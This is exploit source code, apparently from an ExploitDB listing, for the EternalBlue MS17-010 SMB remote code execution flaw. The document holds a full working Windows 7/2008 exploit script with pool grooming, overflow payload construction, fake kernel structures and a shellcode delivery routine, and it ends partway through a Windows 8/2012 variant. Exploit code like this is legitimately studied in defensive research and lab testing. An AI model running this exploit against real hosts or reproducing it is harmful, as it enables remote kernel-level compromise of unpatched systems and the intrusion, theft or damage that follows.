# the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time
# the size 0x11000 is used in nsa exploit. this size is more reliable.
NTFEA_SIZE = 0x11000
# the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page
ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde
ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00')*600 # with these fea, ntfea size is 0x1c20
ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + 'A'*0xf3be # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc
ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x2494 # with these fea, ntfea size is 0x1b6f0
ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + 'A'*0x48ee # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec
ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 }
'''
Reverse from srvnet.sys (Win7 x64)
- SrvNetAllocateNonPagedBufferInternal() and SrvNetWskReceiveComplete():
// for x64
struct SRVNET_BUFFER {
// offset from POOLHDR: 0x10
USHORT flag;
char pad[2];
char unknown0[12];
// offset from SRVNET_POOLHDR: 0x20
LIST_ENTRY list;
// offset from SRVNET_POOLHDR: 0x30
char *pnetBuffer;
DWORD netbufSize; // size of netBuffer
DWORD ioStatusInfo; // copy value of IRP.IOStatus.Information
// offset from SRVNET_POOLHDR: 0x40
MDL *pMdl1; // at offset 0x70
DWORD nByteProcessed;
DWORD pad3;
// offset from SRVNET_POOLHDR: 0x50
DWORD nbssSize; // size of this smb packet (from user)
DWORD pad4;
QWORD pSrvNetWskStruct; // want to change to fake struct address
// offset from SRVNET_POOLHDR: 0x60
MDL *pMdl2;
QWORD unknown5;
// offset from SRVNET_POOLHDR: 0x70
// MDL mdl1; // for this srvnetBuffer (so its pointer is srvnetBuffer address)
// MDL mdl2;
// char transportHeader[0x50]; // 0x50 is TRANSPORT_HEADER_SIZE
// char netBuffer[0];
};
struct SRVNET_POOLHDR {
DWORD size;
char unknown[12];
SRVNET_BUFFER hdr;
};
'''
# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
# Here is the important fields on x64
# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
# The value MUST point to valid (might be fake) struct.
# - offset 0x70 (MDL) : MDL for describe receiving SMB request buffer
# - 0x70 (VOID*) : MDL.Next should be NULL
# - 0x78 (USHORT) : MDL.Size should be some value that not too small
# - 0x7a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
# - 0x80 (VOID*) : MDL.Process should be NULL
# - 0x88 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
# The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
#
#
# To free the corrupted srvnet buffer, shellcode MUST modify some memory value to satisfy condition.
# Here is related field for freeing corrupted buffer
# - offset 0x10 (USHORT): be 0xffff to make SrvNetFreeBuffer() really free the buffer (else buffer is pushed to srvnet lookaside)
# a corrupted buffer MUST not be reused.
# - offset 0x48 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
# before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
# your shellcode as function argument
# - offset 0x60 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set
# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
# Here is x64 assembly code for setting nByteProcessed field
# - fetch SRVNET_BUFFER address from function argument
# \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40]
# - set nByteProcessed for trigger free after return
# \x8b\x4a\x2c mov ecx, [rdx+0x2c]
# \x89\x4a\x38 mov [rdx+0x38], ecx
TARGET_HAL_HEAP_ADDR_x64 = 0xffffffffffd00010
TARGET_HAL_HEAP_ADDR_x86 = 0xffdff000
fakeSrvNetBufferNsa = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferNsa += pack('<HHI', 0xffff, 0, 0)*2
fakeSrvNetBufferNsa += '\x00'*16
fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x20)
fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86+0x100, 0, 0x60, 0x1004, 0) # _, x86 MDL.Next, .Size, .MdlFlags, .Process
fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86-0x80, 0, TARGET_HAL_HEAP_ADDR_x64) # x86 MDL.MappedSystemVa, _, x64 pointer to fake struct
fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # x64 pmdl2
# below 0x20 bytes is overwritting MDL
# NSA exploit overwrite StartVa, ByteCount, ByteOffset fields but I think no need because ByteCount is always big enough
fakeSrvNetBufferNsa += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa
# below is for targeting x64 only (all x86 related values are set to 0)
# this is for show what fields need to be modified
fakeSrvNetBufferX64 = pack('<II', 0x11000, 0)*2
fakeSrvNetBufferX64 += pack('<HHIQ', 0xffff, 0, 0, 0)
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16
fakeSrvNetBufferX64 += '\x00'*16 # 0x40
fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64) # _, _, pointer to fake struct
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0x100, 0) # pmdl2
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64-0x80) # MDL.Process, MDL.MappedSystemVa
fakeSrvNetBuffer = fakeSrvNetBufferNsa
#fakeSrvNetBuffer = fakeSrvNetBufferX64
feaList = pack('<I', 0x10000) # the value of feaList size MUST be >=0x10000 to trigger bug (but must be less than data size)
feaList += ntfea[NTFEA_SIZE]
# Note:
# - SMB1 data buffer header is 16 bytes and 8 bytes on x64 and x86 respectively
# - x64: below fea will be copy to offset 0x11000 of overflow buffer
# - x86: below fea will be copy to offset 0x10ff8 of overflow buffer
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer)-1) + fakeSrvNetBuffer # -1 because first '\x00' is for name
# stop copying by invalid flag (can be any value except 0 and 0x80)
feaList += pack('<BBH', 0x12, 0x34, 0x5678)
# fake struct for SrvNetWskReceiveComplete() and SrvNetCommonReceiveHandler()
# x64: fake struct is at ffffffff ffd00010
# offset 0xa0: LIST_ENTRY must be valid address. cannot be NULL.
# offset 0x08: set to 3 (DWORD) for invoking ptr to function
# offset 0x1d0: KSPIN_LOCK
# offset 0x1d8: array of pointer to function
#
# code path to get code exection after this struct is controlled
# SrvNetWskReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
fake_recv_struct = pack('<QII', 0, 3, 0)
fake_recv_struct += '\x00'*16
fake_recv_struct += pack('<QII', 0, 3, 0)
fake_recv_struct += ('\x00'*16)*7
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64+0xa0, TARGET_HAL_HEAP_ADDR_x64+0xa0) # offset 0xa0 (LIST_ENTRY to itself)
fake_recv_struct += '\x00'*16
fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86+0xc0, TARGET_HAL_HEAP_ADDR_x86+0xc0, 0) # x86 LIST_ENTRY
fake_recv_struct += ('\x00'*16)*11
fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86+0x190) # fn_ptr array on x86
fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86+0x1f0-1, 0) # x86 shellcode address
fake_recv_struct += ('\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1e0) # offset 0x1d0: KSPINLOCK, fn_ptr array
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64+0x1f0-1) # x64 shellcode address - 1 (this value will be increment by one)
def getNTStatus(self):
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
def sendEcho(conn, tid, data):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
transCommand['Parameters'] = smb.SMBEcho_Parameters()
transCommand['Data'] = smb.SMBEcho_Data()
transCommand['Parameters']['EchoCount'] = 1
transCommand['Data']['Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('got good ECHO response')
else:
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
def createSessionAllocNonPaged(target, size):
# There is a bug in SMB_COM_SESSION_SETUP_ANDX command that allow us to allocate a big nonpaged pool.
# The big nonpaged pool allocation is in BlockingSessionSetupAndX() function for storing NativeOS and NativeLanMan.
# The NativeOS and NativeLanMan size is caculated from "ByteCount - other_data_size"
# Normally a server validate WordCount and ByteCount field in SrvValidateSmb() function. They must not be larger than received data.
# For "NT LM 0.12" dialect, There are 2 possible packet format for SMB_COM_SESSION_SETUP_ANDX command.
# - https://msdn.microsoft.com/en-us/library/ee441849.aspx for LM and NTLM authentication
# - GetNtSecurityParameters() function is resposible for extracting data from this packet format
# - https://msdn.microsoft.com/en-us/library/cc246328.aspx for NTLMv2 (NTLM SSP) authentication
# - GetExtendSecurityParameters() function is resposible for extracting data from this packet format
# These 2 formats have different WordCount (first one is 13 and later is 12).
# Here is logic in BlockingSessionSetupAndX() related to this bug
# - check WordCount for both formats (the CAP_EXTENDED_SECURITY must be set for extended security format)
# - if FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY are set, process a message as Extend Security request
# - else, process a message as NT Security request
# So we can send one format but server processes it as another format by controlling FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY.
# With this confusion, server read a ByteCount from wrong offset to calculating "NativeOS and NativeLanMan size".
# But GetExtendSecurityParameters() checks ByteCount value again.
# So the only possible request to use the bug is sending Extended Security request but does not set FLAGS2_EXTENDED_SECURITY.
conn = smb.SMB(target, target)
_, flags2 = conn.get_flags()
# FLAGS2_EXTENDED_SECURITY MUST not be set
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
if size >= 0xffff:
flags2 &= ~smb.SMB.FLAGS2_UNICODE
reqSize = size // 2
else:
flags2 |= smb.SMB.FLAGS2_UNICODE
reqSize = size
conn.set_flags(flags2=flags2)
pkt = smb.NewSMBPacket()
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero
sessionSetup['Parameters']['SessionKey'] = 0
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
# UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # can add other flags
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
pkt.addCommand(sessionSetup)
conn.sendSMB(pkt)
recvPkt = conn.recvSMB()
if recvPkt.getNTStatus() == 0:
print('SMB1 session setup allocate nonpaged pool success')
else:
print('SMB1 session setup allocate nonpaged pool failed')
return conn
# Note: impacket-0.9.15 struct has no ParameterDisplacement
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
structure = (
('TotalParameterCount','<H=0'),
('TotalDataCount','<H'),
('ParameterCount','<H=0'),
('ParameterOffset','<H=0'),
('ParameterDisplacement','<H=0'),
('DataCount','<H'),
('DataOffset','<H'),
('DataDisplacement','<H=0'),
('FID','<H=0'),
)
def send_trans2_second(conn, tid, data, displacement):
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
# assume no params
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
transCommand['Parameters']['TotalParameterCount'] = 0
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+18
transCommand['Data']['Pad1'] = ''
transCommand['Parameters']['ParameterCount'] = 0
transCommand['Parameters']['ParameterOffset'] = 0
if len(data) > 0:
pad2Len = (4 - fixedOffset % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = len(data)
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
transCommand['Parameters']['DataDisplacement'] = displacement
transCommand['Data']['Trans_Parameters'] = ''
transCommand['Data']['Trans_Data'] = data
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
# Here is another bug in MS17-010.
# To call transaction subcommand, normally a client need to use correct SMB commands as documented in
# https://msdn.microsoft.com/en-us/library/ee441514.aspx
# If a transaction message is larger than SMB message (MaxBufferSize in session parameter), a client
# can use *_SECONDARY command to send transaction message. When sending a transaction completely with
# *_SECONDARY command, a server uses the last command that complete the transaction.
# For example:
# - if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*.
# - if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*.
#
# Without MS17-010 patch, a client can mix a transaction command if TID, PID, UID, MID are the same.
# For example:
# - a client start transaction with SMB_COM_NT_TRANSACT command
# - a client send more transaction data with SMB_COM_NT_TRANSACT_SECONDARY and SMB_COM_TRANSACTION2_SECONDARY
# - a client sned last transactino data with SMB_COM_TRANSACTION2_SECONDARY
# - a server executes transaction subcommand as TRANS2_* (first 2 bytes of Setup field)
# From https://msdn.microsoft.com/en-us/library/ee442192.aspx, a maximum data size for sending a transaction
# with SMB_COM_TRANSACTION2 is 65535 because TotalDataCount field is USHORT
# While a maximum data size for sending a transaction with SMB_COM_NT_TRANSACT is >65536 because TotalDataCount
# field is ULONG (see https://msdn.microsoft.com/en-us/library/ee441534.aspx).
# Note: a server limit SetupCount+TotalParameterCount+TotalDataCount to 0x10400 (in SrvAllocationTransaction)
pkt = smb.NewSMBPacket()
pkt['Tid'] = tid
command = pack('<H', setup)
# Use SMB_COM_NT_TRANSACT because we need to send data >65535 bytes to trigger the bug.
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
transCommand['Parameters']['MaxSetupCount'] = 1
transCommand['Parameters']['MaxParameterCount'] = len(param)
transCommand['Parameters']['MaxDataCount'] = 0
transCommand['Data'] = smb.SMBTransaction2_Data()
transCommand['Parameters']['Setup'] = command
transCommand['Parameters']['TotalParameterCount'] = len(param)
transCommand['Parameters']['TotalDataCount'] = len(data)
fixedOffset = 32+3+38 + len(command)
if len(param) > 0:
padLen = (4 - fixedOffset % 4 ) % 4
padBytes = '\xFF' * padLen
transCommand['Data']['Pad1'] = padBytes
else:
transCommand['Data']['Pad1'] = ''
padLen = 0
transCommand['Parameters']['ParameterCount'] = len(param)
transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
if len(data) > 0:
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
else:
transCommand['Data']['Pad2'] = ''
pad2Len = 0
transCommand['Parameters']['DataCount'] = firstDataFragmentSize
transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
transCommand['Data']['Trans_Parameters'] = param
transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
pkt.addCommand(transCommand)
conn.sendSMB(pkt)
conn.recvSMB() # must be success
# Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
i = firstDataFragmentSize
while i < len(data):
# limit data to 4096 bytes per SMB message because this size can be used for all Windows version
sendSize = min(4096, len(data) - i)
if len(data) - i <= 4096:
if not sendLastChunk:
break
send_trans2_second(conn, tid, data[i:i+sendSize], i)
i += sendSize
if sendLastChunk:
conn.recvSMB()
return i
# connect to target and send a large nbss size with data 0x80 bytes
# this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target
# a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten)
def createConnectionWithBigSMBFirst80(target):
# https://msdn.microsoft.com/en-us/library/cc246496.aspx
# Above link is about SMB2, but the important here is first 4 bytes.
# If using wireshark, you will see the StreamProtocolLength is NBSS length.
# The first 4 bytes is same for all SMB version. It is used for determine the SMB message length.
#
# After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message.
# srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message.
# Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too.
sk = socket.create_connection((target, 445))
# For this exploit, use size is 0x11000
pkt = '\x00' + '\x00' + pack('>H', 0xfff7)
# There is no need to be SMB2 because we got code execution by corrupted srvnet buffer.
# Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert from IDS
#pkt += '\xfeSMB' # smb2
# it can be anything even it is invalid
pkt += 'BAAD' # can be any
pkt += '\x00'*0x7c
sk.send(pkt)
return sk
def exploit(target, shellcode, numGroomConn):
# force using smb.SMB for SMB1
conn = smb.SMB(target, target)
# can use conn.login() for ntlmv2
conn.login_standard('', '')
server_os = conn.get_server_os()
print('Target OS: '+server_os)
if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os) or server_os.startswith("Windows Vista")):
print('This exploit does not support this target')
sys.exit()
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False)
# we have to know what size of NtFeaList will be created when last fragment is sent
# make sure server recv all payload before starting allocate big NonPaged
#sendEcho(conn, tid, 'a'*12)
# create buffer size NTFEA_SIZE-0x1000 at server
# this buffer MUST NOT be big enough for overflown buffer
allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010)
# groom nonpaged pool
# when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
srvnetConn = []
for i in range(numGroomConn):
sk = createConnectionWithBigSMBFirst80(target)
srvnetConn.append(sk)
# create buffer size NTFEA_SIZE at server
# this buffer will be replaced by overflown buffer
holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10)
# disconnect allocConn to free buffer
# expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
allocConn.get_socket().close()
# hope one of srvnetConn is next to holeConn
for i in range(5):
sk = createConnectionWithBigSMBFirst80(target)
srvnetConn.append(sk)
# send echo again, all new 5 srvnet buffers should be created
#sendEcho(conn, tid, 'a'*12)
# remove holeConn to create hole for fea buffer
holeConn.get_socket().close()
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
send_trans2_second(conn, tid, feaList[progress:], progress)
recvPkt = conn.recvSMB()
retStatus = recvPkt.getNTStatus()
# retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag
if retStatus == 0xc000000d:
print('good response status: INVALID_PARAMETER')
else:
print('bad response status: 0x{:08x}'.format(retStatus))
# one of srvnetConn struct header should be modified
# a corrupted buffer will write recv data in designed memory address
for sk in srvnetConn:
sk.send(fake_recv_struct + shellcode)
# execute shellcode by closing srvnet connection
for sk in srvnetConn:
sk.close()
# nicely close connection (no need for exploit)
conn.disconnect_tree(tid)
conn.logoff()
conn.get_socket().close()
if len(sys.argv) < 3:
print("{} <ip> <shellcode_file> [numGroomConn]".format(sys.argv[0]))
sys.exit(1)
TARGET=sys.argv[1]
numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3])
fp = open(sys.argv[2], 'rb')
sc = fp.read()
fp.close()
print('shellcode size: {:d}'.format(len(sc)))
print('numGroomConn: {:d}'.format(numGroomConn))
exploit(TARGET, sc, numGroomConn)
print('done')
ExploitDB
remote windows_x86-64 Verified
Source
Microsoft Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010)
By sleepya
How to test this exploit
Remote exploit. Target an isolated vulnerable instance (VM/lab), never a production system.
python3 42030.pyCode py
#!/usr/bin/python
from impacket import smb, ntlm
from struct import pack
import sys
import socket
'''
EternalBlue exploit for Windows 8 and 2012 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
The exploit support only x64 target
EDB Note: Shellcode
- x64 ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42030.asm
- x86 ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42031.asm
Tested on:
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 10 Pro Build 10240 x64
Default Windows 8 and later installation without additional service info:
- anonymous is not allowed to access any share (including IPC$)
- More info: https://support.microsoft.com/en-us/help/3034016/ipc-share-and-null-session-behavior-in-windows
- tcp port 445 is filtered by firewall
Reference:
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit
Exploit info:
- If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at
https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same
- The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000).
On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP.
- The exploit is likely to crash a target when it failed
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
- See the code and comment for exploit detail.
Disable NX method:
- The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference)
- The exploit is also the same but we need to trigger bug twice
- First trigger, set MDL.MappedSystemVa to target pte address
- Write '\x00' to disable the NX flag
- Second trigger, do the same as Windows 7 exploit
- From my test, if exploit disable NX successfully, I always get code execution
# E-DB Note: https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e
# E-DB Note: https://github.com/worawit/MS17-010/blob/873c5453680a0785415990379a4b36ba61f82a4d/eternalblue_exploit8.py
'''
# if anonymous can access any share folder, 'IPC$' is always accessible.
# authenticated user is always able to access 'IPC$'.
# Windows 2012 does not allow anonymous to login if no share is accessible.
USERNAME=''
PASSWORD=''
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
NTFEA_SIZE = 0x9000
ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260 # with these fea, ntfea size is 0x1c80
ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c
ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR
'''
Reverse from srvnet.sys (Win2012 R2 x64)
- SrvNetAllocateBufferFromPool() and SrvNetWskTransformedReceiveComplete():
// size 0x90
struct SRVNET_BUFFER_HDR {
LIST_ENTRY list;
USHORT flag; // 2 least significant bit MUST be clear. if 0x1 is set, pmdl pointers are access. if 0x2 is set, go to lookaside.
char unknown0[6];
char *pNetRawBuffer; // MUST point to valid address (check if this request is "\xfdSMB")
DWORD netRawBufferSize; // offset: 0x20
DWORD ioStatusInfo;
DWORD thisNonPagedPoolSize; // will be 0x82e8 for netRawBufferSize 0x8100
DWORD pad2;
char *thisNonPagedPoolAddr; // 0x30 points to SRVNET_BUFFER
PMDL pmdl1; // point at offset 0x90 from this struct
DWORD nByteProcessed; // 0x40
char unknown4[4];
QWORD smbMsgSize; // MUST be modified to size of all recv data
PMDL pmdl2; // 0x50: if want to free corrupted buffer, need to set to valid address
QWORD pSrvNetWskStruct; // want to change to fake struct address
DWORD unknown6; // 0x60
char unknown7[12];
char unknown8[0x20];
};
struct SRVNET_BUFFER {
char transportHeader[80]; // 0x50
char buffer[reqSize+padding]; // 0x8100 (for pool size 0x82f0), 0x10100 (for pool size 0x11000)
SRVNET_BUFFER_HDR hdr; //some header size 0x90
//MDL mdl1; // target
};
In Windows 8, the srvnet buffer metadata is declared after real buffer. We need to overflow through whole receive buffer.
Because transaction max data count is 66512 (0x103d0) in SMB_COM_NT_TRANSACT command and
DataDisplacement is USHORT in SMB_COM_TRANSACTION2_SECONDARY command, we cannot send large trailing data after FEALIST.
So the possible srvnet buffer pool size is 0x82f0. With this pool size, we need to overflow more than 0x8150 bytes.
If exploit cannot overflow to prepared SRVNET_BUFFER, the target is likely to crash because of big overflow.
'''
# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
# Here is the important fields on x64
# - offset 0x18 (VOID*) : pointer to received SMB message buffer. This value MUST be valid address because there is
# a check in SrvNetWskTransformedReceiveComplete() if this message starts with "\xfdSMB".
# - offset 0x48 (QWORD) : the SMB message length from packet header (first 4 bytes).
# This value MUST be exactly same as the number of bytes we send.
# Normally, this value is 0x80 + len(fake_struct) + len(shellcode)
# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
# The value MUST point to valid (might be fake) struct.
# - offset 0x90 (MDL) : MDL for describe receiving SMB request buffer
# - 0x90 (VOID*) : MDL.Next should be NULL
# - 0x98 (USHORT) : MDL.Size should be some value that not too small
# - 0x9a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
# - 0x90 (VOID*) : MDL.Process should be NULL
# - 0x98 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
# The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
#
#
# To free the corrupted srvnet buffer (not necessary), shellcode MUST modify some memory value to satisfy condition.
# Here is related field for freeing corrupted buffer
# - offset 0x10 (USHORT): 2 least significant bit MUST be clear. Just set to 0xfff0
# - offset 0x30 (VOID*) : MUST be fixed to correct value in shellcode. This is the value that passed to ExFreePoolWithTag()
# - offset 0x40 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
# before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
# your shellcode as function argument
# - offset 0x50 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set
# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
# Here is x64 assembly code for setting nByteProcessed field
# - fetch SRVNET_BUFFER address from function argument
# \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40]
# - fix pool pointer (rcx is -0x8150 because of fake_recv_struct below)
# \x48\x01\xd1 add rcx, rdx
# \x48\x89\x4a\x30 mov [rdx+0x30], rcx
# - set nByteProcessed for trigger free after return
# \x8b\x4a\x48 mov ecx, [rdx+0x48]
# \x89\x4a\x40 mov [rdx+0x40], ecx
# debug mode affects HAL heap. The 0xffffffffffd04000 address should be useable no matter what debug mode is.
# The 0xffffffffffd00000 address should be useable when debug mode is not enabled
# The 0xffffffffffd01000 address should be useable when debug mode is enabled
TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode
# Note: feaList will be created after knowing shellcode size.
# feaList for disabling NX is possible because we just want to change only MDL.MappedSystemVa
# PTE of 0xffffffffffd00000 is at 0xfffff6ffffffe800
# NX bit is at PTE_ADDR+7
# MappedSystemVa = PTE_ADDR+7 - 0x7f
SHELLCODE_PAGE_ADDR = (TARGET_HAL_HEAP_ADDR + 0x400) & 0xfffffffffffff000
PTE_ADDR = 0xfffff6ffffffe800 + 8*((SHELLCODE_PAGE_ADDR-0xffffffffffd00000) >> 12)
fakeSrvNetBufferX64Nx = '\x00'*16
fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR) # _, _, pointer to fake struct
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
fakeSrvNetBufferX64Nx += '\x00'*16
fakeSrvNetBufferX64Nx += '\x00'*16
